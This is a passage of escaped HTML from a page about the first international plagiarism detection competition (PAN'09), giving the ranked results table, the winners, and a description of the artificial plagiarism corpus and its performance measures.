margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;L. M. Seaward and S. Matwin&lt;br style="margin-right: 0px; margin-left: 0px"&gt;University of Ottawa, Canada&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;table style="margin-right: 0px; margin-left: 0px" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr class="first" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th colspan="7" style="margin-right: 0px; margin-left: 0px; text-align: center"&gt;&lt;font size="2"&gt;Overall Tasks&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr class="last" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Rank&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Overall score&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;F-measure&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Precision&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Recall&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Granularity&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Participant&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;tfoot style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4871&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4884&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5193&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4610&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0038&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;C. Grozea&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Fraunhofer FIRST, Germany&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4265&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4335&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3901&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4877&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0228&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. Kasprzak, M. Brandejs, and M. Křipač&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Masaryk University, Czech Republic&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;3&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4229&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4544&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4709&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4390&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.1060&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;C. Basile*, D. Benedetto°, E. Caglioti°, and M. Degli Esposti*&lt;br style="margin-right: 0px; margin-left: 0px"&gt;*Università di Bologna and °Università La Sapienza, Italy&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;4&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2131&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3700&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4682&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3059&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2.3317&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;Y. A. Palkovskii, A. V. Belov, and I. A. Muzika&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Zhytomyr State University, Ukraine&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;5&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1833&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4001&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4826&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3417&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;3.5405&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;M. Granitzer, M. Muhr, M. Zechner, and R. Kern&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Know-Center Graz, Austria&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;6&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0996&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4333&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5231&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3699&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;19.4327&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;V. A. Scherbinin* and S. Butakov°&lt;br style="margin-right: 0px; margin-left: 0px"&gt;*American University of Nigeria, Nigeria, and&lt;br style="margin-right: 0px; margin-left: 0px"&gt;°Solbridge International School of Business, South Korea&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;7&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0739&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0926&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0696&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1382&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.3839&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;E. Stamatatos&lt;br style="margin-right: 0px; margin-left: 0px"&gt;University of the Aegean, Greece&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;8&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0586&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0587&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0327&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2831&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0007&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;B. Hagbi and M. Koppel&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Bar Ilan University, Israel&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;9&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0454&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1216&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4586&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0701&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;5.3966&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;R. C. Pereira, V. P. Moreira, and R. Galante&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Universidade Federal do Rio Grande do Sul, Brazil&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;10&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0366&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0525&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0311&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1689&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.7049&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;L. M. Seaward and S. Matwin&lt;br style="margin-right: 0px; margin-left: 0px"&gt;University of Ottawa, Canada&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;11&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0184&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0185&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0095&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3210&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0068&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;E. Vallés Balaguer, using WCopyFind&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Private, Spain&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;12&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0131&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0387&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0203&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4234&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;6.7780&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. A. Malcolm, P. C. R. Lane, and A. Rainer&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Ferret, University of Hertfordshire, UK&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;13&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0081&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0157&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2579&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0081&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2.8256&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. Allen&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Southern Methodist University in Dallas, USA&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="winner" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Winner&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;We are happy to announce the following winners:&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;Task winner of the external analysis task is Cristian Grozea from Fraunhofer FIRST.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;Task winner of the intrinsic analysis task is Efstathios Stamatatos from the University of the Aegean.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;Overall winner of the 1st International Competition on Plagiarism Detection is Cristian Grozea from Fraunhofer FIRST.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="2"&gt;Congratulations!&lt;/font&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="corpus" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Competition Corpus&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;We have set up a large-scale corpus of artificial plagiarism for the competition. The corpus contains primarily English documents in which all types of plagiarism cases can be found, namely monolingual plagiarism with varying degrees of obfuscation, and translation plagiarism from Spanish or German source documents. The corpus is self-contained, i.e., the source documents of all plagiarism cases are part of the corpus.&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;To generate artificial plagiarism cases we have employed a&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;random plagiarist&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: given a text the plagiarist decides whether or not he will plagiarize, from which documents he will plagiarize, how many passages will be plagiarized, and for each plagiarized passage of which type and length it will be. The type of a plagiarized passage may either be obfuscated plagiarism or translated plagiarism. The random plagiarist attempts to obfuscate his plagiarism by applying a random sequence of text operations such as shuffling a word, deleting a word, inserting a word from an external source, or replacing a word with a synonym, antonym, hypernym, or hyponym. Translated plagiarism is created using machine translation.&lt;/font&gt;&lt;/p&gt;&lt;h4 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Corpus Statistics&lt;/font&gt;&lt;/h4&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Corpus size&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: 20 611 suspicious documents, 20 612 source documents.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Document lengths&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: small (up to paper size), medium, large (up to book size).&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Plagiarism contamination per document&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: 0%-100% (higher fractions with lower probabilities).&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Plagiarized passage length&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: short (few sentences), medium, long (many pages).&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Plagiarism types&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;: monolingual (obfuscation degrees none, low, and high), and multilingual (automatic translation).&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h4 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Corpus Format&lt;/font&gt;&lt;/h4&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;In the corpus you will find plain text files encoded in UTF-8, and along each text file an XML file with meta information. The documents are divided into two folders, one with the suspicious documents and the other one with the source documents. Details about the available meta information can be found within the corpus.&lt;/font&gt;&lt;/p&gt;&lt;h4 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Release Plan&lt;/font&gt;&lt;/h4&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The corpus will be released partially during the competition, and in full after competition. For each of the competition tasks a development corpus and a competition corpus will be released. The development corpus will contain annotated artificial plagiarism cases, the competition corpus will contain artificial plagiarism cases without annotation. The former can be used to develop and evaluate your plagiarism detection software while the latter will be used to determine the best plagiarism detection approach. Note that only your success in detecting the plagiarism in the competition corpus will be considered when selecting the winner of the competition.&lt;/font&gt;&lt;/p&gt;&lt;h4 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Download&lt;/font&gt;&lt;/h4&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The full corpus, including annotations of all plagiarism cases for both tasks, can be found&amp;nbsp;&lt;/font&gt;&lt;a href="http://www.webis.de/research/corpora" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;here&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;.&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The version of the corpus which was used during the comeptition is available on demand.&lt;/font&gt;&lt;/p&gt;&lt;h3 id="measures" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Performance Measures&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The success of a plagiarism detection software will be measured in terms of its precision, recall, and granularity on detecting the plagiarized passages in the corpus. Let&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;s&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;denote a plagiarized passage from the set&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;S&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;of all plagiarized passages. Let&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;r&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;denote a detection from the set&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;R&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;of all detections and let&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;S_R&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;be the subset of&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;S&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;for which detections exist in&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;R&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. Let |&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;s&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;|, |&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;r&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;| denote the char lengths of&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;s&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;,&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;r&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;and let |&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;S&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;|, |&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;R&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;|, |&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;S_R&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;| be the sizes of the respective sets. The formulas compute as follows:&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;img src="pan-09-performance-measures.png" alt="PAN'09 Plagiarism Detection Performance Measures" style="margin-right: 